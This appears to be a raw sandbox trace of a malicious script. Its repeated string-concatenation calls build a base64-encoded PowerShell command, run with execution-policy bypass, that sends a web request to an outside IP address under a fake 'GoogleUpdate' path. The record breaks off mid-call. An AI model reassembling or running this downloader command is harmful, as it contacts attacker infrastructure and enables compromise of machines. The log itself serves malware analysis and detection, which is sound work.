| out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0Z", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZS", bstrRight="g", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSg", bstrRight="n", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgn", bstrRight="a", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgna", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaH", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0c", bstrRight="D", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cD", bstrRight="o", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDo", bstrRight="v", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDov", bstrRight="L", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovL", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLz", bstrRight="E", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1N", bstrRight="C", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC", bstrRight="4", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4x", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xN", bstrRight="i", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi", bstrRight="4", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4z", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zN", bstrRight="y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy", bstrRight="4", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4x", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xM", bstrRight="j", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMj", bstrRight="I", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjI", bstrRight="v", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIv", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR2", bstrRight="9", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29", bstrRight="v", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.789] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29v", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2x", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xl", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlV", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVX", bstrRight="B", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXB", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBk", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkY", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYX", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXR", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRl", bstrRight="L", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1V", bstrRight="w", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1Vw", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZ", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZG", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.790] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0Z", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5", bstrRight="w", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5w", bstrRight="a", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5wa", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waH", bstrRight="A", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHA", bstrRight="n", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAn", bstrRight="K", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnK", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKT", bstrRight="s", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTs", bstrRight="g", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsg", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJ", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJH", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJ", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJl", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc", bstrRight="3", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3", bstrRight="A", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A", bstrRight="9", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: 